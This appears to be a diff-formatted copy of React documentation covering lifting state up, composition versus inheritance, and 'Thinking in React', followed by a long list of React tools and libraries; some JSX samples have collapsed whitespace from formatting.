-If we later edit the Fahrenheit field to be 212, the state of the `Calculator` will be:
-
-```
-{
-  temperature: '212',
-  scale: 'f'
-}
-```
-
-We could have stored the value of both inputs but it turns out to be unnecessary. It is enough to store the value of the most recently changed input, and the scale that it represents. We can then infer the value of the other input based on the current `temperature` and `scale` alone.
-
-The inputs stay in sync because their values are computed from the same state:
-
-```
-class Calculator extends React.Component {
-  constructor(props) {
-    super(props);
-    this.handleCelsiusChange = this.handleCelsiusChange.bind(this);
-    this.handleFahrenheitChange = this.handleFahrenheitChange.bind(this);
-    this.state = {temperature: '', scale: 'c'};  }
-
-  handleCelsiusChange(temperature) {
-    this.setState({scale: 'c', temperature});  }
-
-  handleFahrenheitChange(temperature) {
-    this.setState({scale: 'f', temperature});  }
-
-  render() {
-    const scale = this.state.scale;    const temperature = this.state.temperature;    const celsius = scale === 'f' ? tryConvert(temperature, toCelsius) : temperature;    const fahrenheit = scale === 'c' ? tryConvert(temperature, toFahrenheit) : temperature;return (
-      <div>        <TemperatureInputscale="c"          temperature={celsius}          onTemperatureChange={this.handleCelsiusChange} />        <TemperatureInputscale="f"          temperature={fahrenheit}          onTemperatureChange={this.handleFahrenheitChange} />        <BoilingVerdict          celsius={parseFloat(celsius)} />      </div>);
-  }
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/WZpxpz?editors=0010)
-
-Now, no matter which input you edit, `this.state.temperature` and `this.state.scale` in the `Calculator` get updated. One of the inputs gets the value as is, so any user input is preserved, and the other input value is always recalculated based on it.
-
-Let's recap what happens when you edit an input:
-
--   React calls the function specified as `onChange` on the DOM `<input>`. In our case, this is the `handleChange` method in the `TemperatureInput` component.
--   The `handleChange` method in the `TemperatureInput` component calls `this.props.onTemperatureChange()` with the new desired value. Its props, including `onTemperatureChange`, were provided by its parent component, the `Calculator`.
--   When it previously rendered, the `Calculator` had specified that `onTemperatureChange` of the Celsius `TemperatureInput` is the `Calculator`'s `handleCelsiusChange` method, and `onTemperatureChange` of the Fahrenheit `TemperatureInput` is the `Calculator`'s `handleFahrenheitChange` method. So either of these two `Calculator` methods gets called depending on which input we edited.
--   Inside these methods, the `Calculator` component asks React to re-render itself by calling `this.setState()` with the new input value and the current scale of the input we just edited.
--   React calls the `Calculator` component's `render` method to learn what the UI should look like. The values of both inputs are recomputed based on the current temperature and the active scale. The temperature conversion is performed here.
--   React calls the `render` methods of the individual `TemperatureInput` components with their new props specified by the `Calculator`. It learns what their UI should look like.
--   React calls the `render` method of the `BoilingVerdict` component, passing the temperature in Celsius as its props.
--   React DOM updates the DOM with the boiling verdict and to match the desired input values. The input we just edited receives its current value, and the other input is updated to the temperature after conversion.
-
-Every update goes through the same steps so the inputs stay in sync.
-
-## Lessons Learned
-
-There should be a single "source of truth" for any data that changes in a React application. Usually, the state is first added to the component that needs it for rendering. Then, if other components also need it, you can lift it up to their closest common ancestor. Instead of trying to sync the state between different components, you should rely on the [top-down data flow](https://reactjs.org/docs/state-and-lifecycle.html#the-data-flows-down).
-
-Lifting state involves writing more "boilerplate" code than two-way binding approaches, but as a benefit, it takes less work to find and isolate bugs. Since any state "lives" in some component and that component alone can change it, the surface area for bugs is greatly reduced. Additionally, you can implement any custom logic to reject or transform user input.
-
-If something can be derived from either props or state, it probably shouldn't be in the state. For example, instead of storing both `celsiusValue` and `fahrenheitValue`, we store just the last edited `temperature` and its `scale`. The value of the other input can always be calculated from them in the `render()` method. This lets us clear or apply rounding to the other field without losing any precision in the user input.
-
-When you see something wrong in the UI, you can use [React Developer Tools](https://github.com/facebook/react/tree/main/packages/react-devtools) to inspect the props and move up the tree until you find the component responsible for updating the state. This lets you trace the bugs to their source:
-
-![https://reactjs.org/ef94afc3447d75cdc245c77efb0d63be/react-devtools-state.gif](https://reactjs.org/ef94afc3447d75cdc245c77efb0d63be/react-devtools-state.gif)
-
-## **Composition vs Inheritance**
-
-## React has a powerful composition model, and we recommend using composition instead of inheritance to reuse code between components.
-
-In this section, we will consider a few problems where developers new to React often reach for inheritance, and show how we can solve them with composition.
-
-## Containment
-
-Some components don't know their children ahead of time. This is especially common for components like `Sidebar` or `Dialog` that represent generic "boxes".
-
-We recommend that such components use the special `children` prop to pass children elements directly into their output:
-
-```
-function FancyBorder(props) {
-  return (
-    <div className={'FancyBorder FancyBorder-' + props.color}>      {props.children}    </div>);
-}
-```
-
-This lets other components pass arbitrary children to them by nesting the JSX:
-
-```
-function WelcomeDialog() {
-  return (
-    <FancyBorder color="blue">      <h1 className="Dialog-title">        Welcome      </h1>      <p className="Dialog-message">        Thank you for visiting our spacecraft!      </p>    </FancyBorder>);
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/ozqNOV?editors=0010)
-
-Anything inside the `<FancyBorder>` JSX tag gets passed into the `FancyBorder` component as a `children` prop. Since `FancyBorder` renders `{props.children}` inside a `<div>`, the passed elements appear in the final output.
-
-While this is less common, sometimes you might need multiple "holes" in a component. In such cases you may come up with your own convention instead of using `children`:
-
-```
-function SplitPane(props) {
-  return (
-    <div className="SplitPane">      <div className="SplitPane-left">        {props.left}      </div>      <div className="SplitPane-right">        {props.right}      </div>    </div>);
-}
-
-function App() {
-  return (
-    <SplitPaneleft={
-        <Contacts />      }right={
-        <Chat />      } />);
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/gwZOJp?editors=0010)
-
-React elements like `<Contacts />` and `<Chat />` are just objects, so you can pass them as props like any other data. This approach may remind you of "slots" in other libraries but there are no limitations on what you can pass as props in React.
-
-## Specialization
-
-Sometimes we think about components as being "special cases" of other components. For example, we might say that a `WelcomeDialog` is a special case of `Dialog`.
-
-In React, this is also achieved by composition, where a more "specific" component renders a more "generic" one and configures it with props:
-
-```
-function Dialog(props) {
-  return (
-    <FancyBorder color="blue">      <h1 className="Dialog-title">        {props.title}      </h1>      <p className="Dialog-message">        {props.message}      </p>    </FancyBorder>);
-}
-
-function WelcomeDialog() {
-  return (
-    <Dialog      title="Welcome"      message="Thank you for visiting our spacecraft!" />  );
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/kkEaOZ?editors=0010)
-
-Composition works equally well for components defined as classes:
-
-```
-function Dialog(props) {
-  return (
-    <FancyBorder color="blue">      <h1 className="Dialog-title">        {props.title}
-      </h1>      <p className="Dialog-message">        {props.message}
-      </p>      {props.children}    </FancyBorder>);
-}
-
-class SignUpDialog extends React.Component {
-  constructor(props) {
-    super(props);
-    this.handleChange = this.handleChange.bind(this);
-    this.handleSignUp = this.handleSignUp.bind(this);
-    this.state = {login: ''};
-  }
-
-  render() {
-    return (
-      <Dialog title="Mars Exploration Program"message="How should we refer to you?">        <input value={this.state.login}               onChange={this.handleChange} />        <button onClick={this.handleSignUp}>          Sign Me Up!        </button>      </Dialog>);
-  }
-
-  handleChange(e) {
-    this.setState({login: e.target.value});
-  }
-
-  handleSignUp() {
-    alert(`Welcome aboard, ${this.state.login}!`);
-  }
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/gwZbYa?editors=0010)
-
-## So What About Inheritance?
-
-At Facebook, we use React in thousands of components, and we haven't found any use cases where we would recommend creating component inheritance hierarchies.
-
-Props and composition give you all the flexibility you need to customize a component's look and behavior in an explicit and safe way. Remember that components may accept arbitrary props, including primitive values, React elements, or functions.
-
-If you want to reuse non-UI functionality between components, we suggest extracting it into a separate JavaScript module. The components may import it and use that function, object, or a class, without extending it.
-
-## **Thinking in React**
-
-## React is, in our opinion, the premier way to build big, fast Web apps with JavaScript. It has scaled very well for us at Facebook and Instagram.
-
-One of the many great parts of React is how it makes you think about apps as you build them. In this document, we'll walk you through the thought process of building a searchable product data table using React.
-
-## Start With A Mock
-
-Imagine that we already have a JSON API and a mock from our designer. The mock looks like this:
-
-![https://reactjs.org/static/1071fbcc9eed01fddc115b41e193ec11/d4770/thinking-in-react-mock.png](https://reactjs.org/static/1071fbcc9eed01fddc115b41e193ec11/d4770/thinking-in-react-mock.png)
-
-Our JSON API returns some data that looks like this:
-
-```
-[
-  {category: "Sporting Goods", price: "$49.99", stocked: true, name: "Football"},
-  {category: "Sporting Goods", price: "$9.99", stocked: true, name: "Baseball"},
-  {category: "Sporting Goods", price: "$29.99", stocked: false, name: "Basketball"},
-  {category: "Electronics", price: "$99.99", stocked: true, name: "iPod Touch"},
-  {category: "Electronics", price: "$399.99", stocked: false, name: "iPhone 5"},
-  {category: "Electronics", price: "$199.99", stocked: true, name: "Nexus 7"}
-];
-```
-
-## Step 1: Break The UI Into A Component Hierarchy
-
-The first thing you'll want to do is to draw boxes around every component (and subcomponent) in the mock and give them all names. If you're working with a designer, they may have already done this, so go talk to them! Their Photoshop layer names may end up being the names of your React components!
-
-But how do you know what should be its own component? Use the same techniques for deciding if you should create a new function or object. One such technique is the [single responsibility principle](https://en.wikipedia.org/wiki/Single_responsibility_principle), that is, a component should ideally only do one thing. If it ends up growing, it should be decomposed into smaller subcomponents.
-
-Since you're often displaying a JSON data model to a user, you'll find that if your model was built correctly, your UI (and therefore your component structure) will map nicely. That's because UI and data models tend to adhere to the same _information architecture_. Separate your UI into components, where each component matches one piece of your data model.
-
-![https://reactjs.org/static/eb8bda25806a89ebdc838813bdfa3601/6b2ea/thinking-in-react-components.png](https://reactjs.org/static/eb8bda25806a89ebdc838813bdfa3601/6b2ea/thinking-in-react-components.png)
-
-You'll see here that we have five components in our app. We've italicized the data each component represents.
-
-1. **`FilterableProductTable` (orange):** contains the entirety of the example
-2. **`SearchBar` (blue):** receives all _user input_
-3. **`ProductTable` (green):** displays and filters the _data collection_ based on _user input_
-4. **`ProductCategoryRow` (turquoise):** displays a heading for each _category_
-5. **`ProductRow` (red):** displays a row for each _product_
-
-If you look at `ProductTable`, you'll see that the table header (containing the "Name" and "Price" labels) isn't its own component. This is a matter of preference, and there's an argument to be made either way. For this example, we left it as part of `ProductTable` because it is part of rendering the _data collection_ which is `ProductTable`'s responsibility. However, if this header grows to be complex (e.g., if we were to add affordances for sorting), it would certainly make sense to make this its own `ProductTableHeader` component.
-
-Now that we've identified the components in our mock, let's arrange them into a hierarchy. Components that appear within another component in the mock should appear as a child in the hierarchy:
-
--   `FilterableProductTable`
-    -   `SearchBar`
-    -   `ProductTable`
-        -   `ProductCategoryRow`
-        -   `ProductRow`
-
-## Step 2: Build A Static Version in React
-
-See the Pen [Thinking In React: Step 2](https://codepen.io/gaearon/pen/BwWzwm) on [CodePen](https://codepen.io).
-
-Now that you have your component hierarchy, it's time to implement your app. The easiest way is to build a version that takes your data model and renders the UI but has no interactivity. It's best to decouple these processes because building a static version requires a lot of typing and no thinking, and adding interactivity requires a lot of thinking and not a lot of typing. We'll see why.
-
-To build a static version of your app that renders your data model, you'll want to build components that reuse other components and pass data using _props_. _props_ are a way of passing data from parent to child. If you're familiar with the concept of _state_, **don't use state at all** to build this static version. State is reserved only for interactivity, that is, data that changes over time. Since this is a static version of the app, you don't need it.
-
-You can build top-down or bottom-up. That is, you can either start with building the components higher up in the hierarchy (i.e. starting with `FilterableProductTable`) or with the ones lower in it (`ProductRow`). In simpler examples, it's usually easier to go top-down, and on larger projects, it's easier to go bottom-up and write tests as you build.
-
-At the end of this step, you'll have a library of reusable components that render your data model. The components will only have `render()` methods since this is a static version of your app. The component at the top of the hierarchy (`FilterableProductTable`) will take your data model as a prop. If you make a change to your underlying data model and call `ReactDOM.render()` again, the UI will be updated. You can see how your UI is updated and where to make changes. React's **one-way data flow** (also called _one-way binding_) keeps everything modular and fast.
-
-Refer to the [React docs](https://reactjs.org/docs/) if you need help executing this step.
-
-## A Brief Interlude: Props vs State
-
-There are two types of "model" data in React: props and state. It's important to understand the distinction between the two; skim [the official React docs](https://reactjs.org/docs/state-and-lifecycle.html) if you aren't sure what the difference is. See also [FAQ: What is the difference between state and props?](https://reactjs.org/docs/faq-state.html#what-is-the-difference-between-state-and-props)
-
-## Step 3: Identify The Minimal (but complete) Representation Of UI State
-
-To make your UI interactive, you need to be able to trigger changes to your underlying data model. React achieves this with **state**.
-
-To build your app correctly, you first need to think of the minimal set of mutable state that your app needs. The key here is [DRY: _Don't Repeat Yourself_](https://en.wikipedia.org/wiki/Don't_repeat_yourself). Figure out the absolute minimal representation of the state your application needs and compute everything else you need on-demand. For example, if you're building a TODO list, keep an array of the TODO items around; don't keep a separate state variable for the count. Instead, when you want to render the TODO count, take the length of the TODO items array.
-
-Think of all the pieces of data in our example application. We have:
-
--   The original list of products
--   The search text the user has entered
--   The value of the checkbox
--   The filtered list of products
-
-Let's go through each one and figure out which one is state. Ask three questions about each piece of data:
-
-1. Is it passed in from a parent via props? If so, it probably isn't state.
-2. Does it remain unchanged over time? If so, it probably isn't state.
-3. Can you compute it based on any other state or props in your component? If so, it isn't state.
-
-The original list of products is passed in as props, so that's not state. The search text and the checkbox seem to be state since they change over time and can't be computed from anything. And finally, the filtered list of products isn't state because it can be computed by combining the original list of products with the search text and value of the checkbox.
-
-So finally, our state is:
-
--   The search text the user has entered
--   The value of the checkbox
-
-## Step 4: Identify Where Your State Should Live
-
-See the Pen [Thinking In React: Step 4](https://codepen.io/gaearon/pen/qPrNQZ) on [CodePen](https://codepen.io).
-
-OK, so we've identified what the minimal set of app state is. Next, we need to identify which component mutates, or _owns_, this state.
-
-Remember: React is all about one-way data flow down the component hierarchy. It may not be immediately clear which component should own what state. **This is often the most challenging part for newcomers to understand,** so follow these steps to figure it out:
-
-For each piece of state in your application:
-
--   Identify every component that renders something based on that state.
--   Find a common owner component (a single component above all the components that need the state in the hierarchy).
--   Either the common owner or another component higher up in the hierarchy should own the state.
--   If you can't find a component where it makes sense to own the state, create a new component solely for holding the state and add it somewhere in the hierarchy above the common owner component.
-
-Let's run through this strategy for our application:
-
--   `ProductTable` needs to filter the product list based on state and `SearchBar` needs to display the search text and checked state.
--   The common owner component is `FilterableProductTable`.
--   It conceptually makes sense for the filter text and checked value to live in `FilterableProductTable`
-
-Cool, so we've decided that our state lives in `FilterableProductTable`. First, add an instance property `this.state = {filterText: '', inStockOnly: false}` to `FilterableProductTable`'s `constructor` to reflect the initial state of your application. Then, pass `filterText` and `inStockOnly` to `ProductTable` and `SearchBar` as a prop. Finally, use these props to filter the rows in `ProductTable` and set the values of the form fields in `SearchBar`.
-
-You can start seeing how your application will behave: set `filterText` to `"ball"` and refresh your app. You'll see that the data table is updated correctly.
-
-## Step 5: Add Inverse Data Flow
-
-See the Pen [Thinking In React: Step 5](https://codepen.io/gaearon/pen/LzWZvb) on [CodePen](https://codepen.io).
-
-So far, we've built an app that renders correctly as a function of props and state flowing down the hierarchy. Now it's time to support data flowing the other way: the form components deep in the hierarchy need to update the state in `FilterableProductTable`.
-
-React makes this data flow explicit to help you understand how your program works, but it does require a little more typing than traditional two-way data binding.
-
-If you try to type or check the box in the current version of the example, you'll see that React ignores your input. This is intentional, as we've set the `value` prop of the `input` to always be equal to the `state` passed in from `FilterableProductTable`.
-
-Let's think about what we want to happen. We want to make sure that whenever the user changes the form, we update the state to reflect the user input. Since components should only update their own state, `FilterableProductTable` will pass callbacks to `SearchBar` that will fire whenever the state should be updated. We can use the `onChange` event on the inputs to be notified of it. The callbacks passed by `FilterableProductTable` will call `setState()`, and the app will be updated.
-
-## And That's It
-
-Hopefully, this gives you an idea of how to think about building components and applications with React. While it may be a little more typing than you're used to, remember that code is read far more than it's written, and it's less difficult to read this modular, explicit code. As you start to build large libraries of components, you'll appreciate this explicitness and modularity, and with code reuse, your lines of code will start to shrink. :)
-
-[Advanced Content](https://www.notion.so/Advanced-Content-fbe1ec3ca3544951b5763b051b843949)
-
-[React Component](https://www.notion.so/React-Component-3dc17bc49a8e4d7e89efcc1281e747d9)
-
-<details>
-
-<summary>Resources</summary>
-
--   React
-    -   React General Resources
-    -   React Community
-    -   React Online Playgrounds
-    -   React Tutorials
-        -   React General Tutorials
-        -   React Hooks
-        -   React and TypeScript
-        -   React Performance
-        -   React Internals
-        -   React Interview Questions
-    -   React Tools
-        -   React Development Tools
-        -   React Frameworks
-        -   React Styling
-        -   React Routing
-        -   React Component Libraries
-        -   React Awesome Components
-        -   React Testing
-        -   React Libraries
-        -   React Integration
-        -   React State Management
-        -   React AR and VR
-        -   React Renderers
-        -   Forms
-        -   Autocomplete
-        -   Graphics
-        -   Data Managing
-        -   Maps
-        -   Charts
--   React Native
-    -   React Native General Resources
-    -   React Native Tutorials
-    -   React Native Development Tools
-    -   React Native Sample Apps
-    -   React Native Boilerplates
-    -   React Native Awesome Components
-    -   React Native Libraries
--   Redux
-    -   Redux General Resources
-    -   Redux Tools
-    -   Redux Tutorials
--   GraphQL
-    -   GraphQL General Resources
-    -   GraphQL Tools
-    -   GraphQL Tutorials
-    -   GraphQL Implementations
-    -   Database Integration
--   Relay
-    -   Relay General Resources
-    -   Relay Tutorials
-    -   Relay Tools
--   Videos
-    -   Important Talks
-    -   React.js Conf 2015 Playlist
-    -   ReactEurope Conf 2015 Day 1 Playlist
-    -   ReactEurope Conf 2015 Day 2 Playlist
-    -   ReactRally Conf 2015 Playlist
-    -   React.js Conf 2016 Playlist
-    -   ReactRally Conf 2016 Playlist
-    -   React.js Amsterdam 2018 Playlist
-    -   Video Tutorials
--   Demo React Apps
--   Real React Apps
--   Contribution
-
-### React
-
-JavaScript Library for building User Interfaces
-
-**React General Resources**
-
--   [React Official Website](https://reactjs.org)
--   [React Documentation](https://reactjs.org/docs)
--   [React GitHub](https://github.com/facebook/react)
-
-**React Community**
-
--   [Reactiflux Discord Channel](http://www.reactiflux.com)
--   [React StackOverflow](http://stackoverflow.com/questions/tagged/reactjs)
--   [React Twitter](https://twitter.com/reactjs)
-
-**React Online Playgrounds**
-
--   [CodePen](https://reactjs.org/redirect-to-codepen/hello-world)
--   [CodeSandbox](https://codesandbox.io/s/new)
--   [JSFiddle](https://jsfiddle.net/boilerplate/react-jsx)
-
-**Another Awesome Lists**
-
--   [React/Redux Links](https://github.com/markerikson/react-redux-links)
-
-**React Tutorials**
-
-**React General Tutorials**
-
--   [React Official Tutorial](https://reactjs.org/tutorial/tutorial.html)
--   [Using React in Visual Studio Code](https://code.visualstudio.com/docs/nodejs/reactjs-tutorial)
--   [Scrimba - Learn React for free interactively](https://scrimba.com/g/glearnreact)
--   [FreeCodeCamp React Challenges](https://learn.freecodecamp.org/front-end-libraries/react)
--   [React Cheatsheet](https://devhints.io/react)
--   [React Patterns](https://reactpatterns.com)
--   [Setup Flow with React](https://flow.org/en/docs/react/)
-
-**React Hooks**
-
--   [React Hooks](https://reactjs.org/docs/hooks-intro.html)
--   [Awesome React Hooks](https://github.com/rehooks/awesome-react-hooks)
--   [Thinking in React Hooks](https://wattenberger.com/blog/react-hooks)
--   [Replacing Redux with React Hooks and Context](https://medium.com/octopus-labs-london/replacing-redux-with-react-hooks-and-context-part-1-11b72ffdb533)
--   [React Hooks cheat sheet: Unlock solutions to common problems](https://blog.logrocket.com/react-hooks-cheat-sheet-unlock-solutions-to-common-problems-af4caf699e70/)
--   [How to fetch data with React Hooks?](https://www.robinwieruch.de/react-hooks-fetch-data/)
--   [Easy to understand React Hook recipes](https://usehooks.com)
--   [React Hooks Video Tutorial](https://www.youtube.com/playlist?list=PLN3n1USn4xlmyw3ebYuZmGp60mcENitdM)
-
-**React and TypeScript**
-
--   [TypeScript, React and Webpack](https://www.typescriptlang.org/docs/handbook/react-&-webpack.html)
--   [JSX in TypeScript](https://www.typescriptlang.org/docs/handbook/jsx.html)
--   [Cheatsheets for experienced React developers getting started with TypeScript](https://github.com/typescript-cheatsheets/react-typescript-cheatsheet)
--   [React by Example](https://reactbyexample.github.io)
-
-**React Performance**
-
--   [React Optimizing Performance](https://reactjs.org/docs/optimizing-performance.html)
--   [Introducing the React Profiler](https://reactjs.org/blog/2018/09/10/introducing-the-react-profiler.html)
--   [Optimizing React: Virtual DOM explained](https://evilmartians.com/chronicles/optimizing-react-virtual-dom-explained)
--   [A Definitive Guide to Optimize Major Performance issues in React](https://www.simform.com/react-performance/)
--   [Twitter Lite and High Performance React Progressive Web Apps at Scale](https://medium.com/@paularmstrong/twitter-lite-and-high-performance-react-progressive-web-apps-at-scale-d28a00e780a3)
--   [Using the React DevTools Profiler to Diagnose React App Performance Issues](https://www.netlify.com/blog/2018/08/29/using-the-react-devtools-profiler-to-diagnose-react-app-performance-issues/)
--   [Top 5 Practices to Boost React Performance](https://www.codementor.io/blizzerand/top-5-practices-to-boost-react-performance-jv6zr89ep)
--   [React is Slow, React is Fast: Optimizing react Apps in Practice](https://medium.com/dailyjs/react-is-slow-react-is-fast-optimizing-react-apps-in-practice-394176a11fba)
--   [Rendering large lists with react-window](https://addyosmani.com/blog/react-window/)
-
-**React Internals**
-
--   [Reconciliation](https://reactjs.org/docs/reconciliation.html)
--   [React Fiber Architecture](https://github.com/acdlite/react-fiber-architecture)
--   [Build your own React](https://engineering.hexacta.com/didact-learning-how-react-works-by-building-it-from-scratch-51007984e5c5)
--   [Inside Fiber: In-depth overview of the new reconciliation algorithm in React](https://medium.com/react-in-depth/inside-fiber-in-depth-overview-of-the-new-reconciliation-algorithm-in-react-e1c04700ef6e)
--   [Entire React code base explanation by visual block schemes](https://github.com/Bogdan-Lyashenko/Under-the-hood-ReactJS)
-
-**React Interview Questions**
-
--   [13 Essential React Interview Questions](https://www.toptal.com/react/interview-questions)
--   [List of React interview Questions and Answers](https://github.com/sudheerj/reactjs-interview-questions)
--   [React Coding Challenges](https://github.com/alexgurr/react-coding-challenges/)
-
-**React Tools**
-
-**React Development Tools**
-
--   [react-devtools](https://github.com/facebook/react-devtools) - Inspection of React component hierarchy in the Chrome and Firefox Developer Tools
--   [react-hot-loader](https://github.com/gaearon/react-hot-loader) - Tweak React components in real time
--   [react-loadable](https://github.com/jamiebuilds/react-loadable) - A higher order component for loading components with promises
--   [loadable-components](https://github.com/smooth-code/loadable-components) - React code splitting made easy
--   [reactotron](https://github.com/skellock/reactotron) - A desktop app for inspecting your React and React Native projects
--   [storybook](https://github.com/storybookjs/storybook) - UI component dev & test
--   [docz](https://github.com/doczjs/docz) - Zero Config, live-reloading documentation with Markdown + JSX
--   [react-styleguidist](https://github.com/styleguidist/react-styleguidist) - Isolated React component development environment with a living style guide
--   [react-cosmos](https://github.com/react-cosmos/react-cosmos) - Dev tool for creating reusable React components
--   [eslint-plugin-react](https://github.com/yannickcr/eslint-plugin-react) - React specific linting rules for ESLint
--   [eslint-plugin-jsx-a11y](https://github.com/evcohen/eslint-plugin-jsx-a11y) - Static AST checker for a11y rules on JSX elements
--   [@axe-core/react](https://github.com/dequelabs/axe-core-npm) - Accessibility auditing for React applications
--   [DataFormsJS JSX Loader](https://github.com/dataformsjs/dataformsjs/blob/master/docs/jsx-loader.md) - Small JavaScript Compiler for quickly converting JSX to JS directly on a web page
--   [Why Did You Render](https://github.com/welldone-software/why-did-you-render) - Monkey patches React to notify you about avoidable re-renders.
--   [Divjoy](https://divjoy.com) - React codebase and UI generator to speed up development (paid)
--   [Plasmic](https://www.plasmic.app) - Powerful design tool for building your React components visually.
-
-**React Starter Kits and Toolchains**
-
--   [create-react-app](https://github.com/facebook/create-react-app) - Set up a modern Web app by running one command
--   [Razzle](https://razzlejs.org) - Build production ready React applications. Razzle is toolchain for modern static and dynamic websites and web applications
--   [Neutrino React Preset](https://neutrinojs.org/packages/react/) - `@neutrinojs/react` is a Neutrino preset that supports building React web applications
--   [react-starter-kit](https://github.com/kriasoft/react-starter-kit) - Isomorphic Web app boilerplate
--   [create-react-library](https://github.com/transitive-bullshit/create-react-library) - CLI for creating reusable, modern React libraries using Rollup and create-react-app.
--   [tsdx](https://tsdx.io) - Zero-config CLI for TypeScript package development
-
-**React Frameworks**
-
--   [next.js](https://github.com/vercel/next.js) - The React Framework
--   [gatsby.js](https://github.com/gatsbyjs/gatsby) - Free and open source framework based on React
--   [react-admin](https://github.com/marmelab/react-admin) - Frontend Framework for building B2B applications on top of REST/GraphQL APIs
--   [remix](https://remix.run) - Finally, a killer React framework from the creators of React Router
--   [Blitz](https://blitzjs.com) - The Fullstack React Framework
--   [aleph.js](https://github.com/alephjs/aleph.js) - The React Framework in Deno
-
-**React Styling**
-
--   [styled-components](https://github.com/styled-components/styled-components) - Visual primitives for the component age
--   [emotion](https://github.com/emotion-js/emotion) - Library designed for writing CSS styles with JavaScript
--   [radium](https://github.com/FormidableLabs/radium) - A toolchain for React component styling
--   [jss](https://github.com/cssinjs/jss) - Authoring tool for CSS
--   [aphrodite](https://github.com/Khan/aphrodite) - Framework-agnostic CSS-in-JS with support for server-side rendering, browser prefixing, and minimum CSS generation
-
-**React Routing**
-
--   [react-router](https://github.com/ReactTraining/react-router) - Declarative routing for React
--   [navi](https://github.com/frontarm/navi) - Declarative, asynchronous routing for React
--   [curi](https://github.com/pshrmn/curi) - JavaScript router for single-page applications
--   [reach](https://github.com/reach/router) - Next Generation Routing for React
--   [universal-router](https://github.com/kriasoft/universal-router) - A simple middleware-style router for isomorphic JavaScript web apps
--   [wouter](https://github.com/molefrog/wouter) - A minimalist-friendly \~1.3KB routing library
-
-**React Component Libraries**
-
--   [material-ui](https://github.com/mui-org/material-ui) - React components for faster and easier web development
--   [blueprint](https://github.com/palantir/blueprint) - A React-based UI toolkit for the webs
--   [Fluent UI](https://github.com/microsoft/fluentui) - A set of React components for building Microsoft web experiences
--   [react-bootstrap](https://github.com/react-bootstrap/react-bootstrap) - Bootstrap components built with React
--   [reactstrap](https://github.com/reactstrap/reactstrap) - Simple React Bootstrap 4 components
--   [ant-design](https://github.com/ant-design/ant-design) - A design system with values of Nature and Determinacy
--   [chakra-ui](https://github.com/chakra-ui/chakra-ui/) - Simple, Modular & Accessible UI Components for your React Applications
--   [semantic-ui-react](https://github.com/Semantic-Org/Semantic-UI-React) - The official Semantic-UI-React integration
--   [evergreen](https://github.com/segmentio/evergreen) - Evergreen React UI Framework by Segment
--   [grommet](https://github.com/grommet/grommet) - A react-based framework that provides accessibility, modularity, responsiveness, and theming in a tidy package
--   [rebass](https://github.com/rebassjs/rebass) - React primitive UI components built with styled-system
--   [reakit](https://github.com/reakit/reakit) - Accessible, Composable and Customizable components for React
--   [rsuite](https://github.com/rsuite/rsuite) - A suite of React components
--   [atlaskit](https://bitbucket.org/atlassian/atlaskit-mk-2) - Atlassian's official UI library, built according to the Atlassian Design Guidelines.
--   [baseweb](https://github.com/uber/baseweb) - Base Web is a foundation for initiating, evolving, and unifying web products.
--   [primereact](https://github.com/primefaces/primereact) - A complete UI Framework for React with 50+ components featuring material, bootstrap and custom themes.
--   [eui](https://github.com/elastic/eui) - Elastic UI Framework
--   [react-spectrum](https://github.com/adobe/react-spectrum) - Adobe's collection of libraries and tools that help you build adaptive, accessible, and robust user experiences
--   [ring-ui](https://github.com/JetBrains/ring-ui) - JetBrains Web UI components
--   [react-bulma-components](https://github.com/couds/react-bulma-components) - React components for Bulma framework
--   [react-bulma](https://github.com/kulakowka/react-bulma) - React.js components for Modern CSS framework based on Flexbox
--   [trunx](https://github.com/fibo/trunx) - Super Saiyan React components, son of awesome Bulma, implemented in TypeScript
--   [bumbag-ui](https://github.com/bumbag/bumbag-ui) - Build accessible & themeable React applications with your Bumbag
-
-**React Awesome Components**
-
--   [Awesome React Components list](https://github.com/brillout/awesome-react-components)
--   [react-select](https://github.com/JedWatson/react-select) - The Select Component for React
--   [react-beautiful-dnd](https://github.com/atlassian/react-beautiful-dnd) - Beautiful and accessible drag and drop for lists with React
--   [react-dnd](https://github.com/react-dnd/react-dnd) - Drag and Drop for React
--   [react-grid-layout](https://github.com/strml/react-grid-layout) - A draggable and resizable grid layout with responsive breakpoints
--   [react-table](https://github.com/tannerlinsley/react-table/) - A lightweight, fast and extendable datagrid for React
--   [react-data-grid](https://github.com/adazzle/react-data-grid) - Excel-like grid component built with React
--   [react-draggable](https://github.com/mzabriskie/react-draggable) - React draggable component
--   [react-resizable-and-movable](https://github.com/bokuweb/react-resizable-and-movable) - A resizable and draggable component for React
--   [react-resizable](https://github.com/strml/react-resizable) - A simple React component that is resizable with a handle
--   [react-resizable-box](https://github.com/bokuweb/react-resizable-box) - A resizable component for React
--   [react-searchbox-awesome](https://github.com/axmz/react-searchbox-awesome) - Minimalistic searchbox
--   [react-sortable-pane](https://github.com/bokuweb/react-sortable-pane) - A sortable and resizable pane component for React
--   [react-spaces](https://github.com/aeagle/react-spaces) - Nestable resizable, anchored, scrollable components
--   [react-dates](https://github.com/airbnb/react-dates) - An easily internationalizable, mobile-friendly datepicker library for the web
--   [react-big-calendar](https://github.com/intljusticemission/react-big-calendar) - Calendar component
--   [react-datepicker](https://github.com/Hacker0x01/react-datepicker/) - ReactJS Datepicker
--   [react-list](https://github.com/orgsync/react-list) - A versatile infinite scroll React component
--   [react-intl](https://github.com/yahoo/react-intl) - Internationalize React apps
--   [react-i18next](https://github.com/i18next/react-i18next) - Internationalization for React done right
--   [react-aria-modal](https://github.com/davidtheclark/react-aria-modal) - A fully accessible React modal
--   [react-hotkeys](https://github.com/greena13/react-hotkeys) - Declarative hotkey and focus area management for React
--   [react-keydown](https://github.com/glortho/react-keydown) - Lightweight keydown wrapper for React components
--   [react-joyride](https://github.com/gilbarbara/react-joyride) - Create guided tours for your apps
--   [react-virtualized](https://github.com/bvaughn/react-virtualized) - React components for efficiently rendering large lists and tabular data
--   [react-window](https://github.com/bvaughn/react-window) - React components for efficiently rendering large lists and tabular data
--   [react-text-mask](https://github.com/text-mask/text-mask) - Input mask for React
--   [react-loading-skeleton](https://github.com/dvtng/react-loading-skeleton) - Create skeleton screens that automatically adapt to your app
--   [react-spinkit](https://github.com/KyleAMathews/react-spinkit) - A collection of loading indicators animated with CSS for React
--   [rheostat](https://github.com/airbnb/rheostat) - Accessible slider component built with React
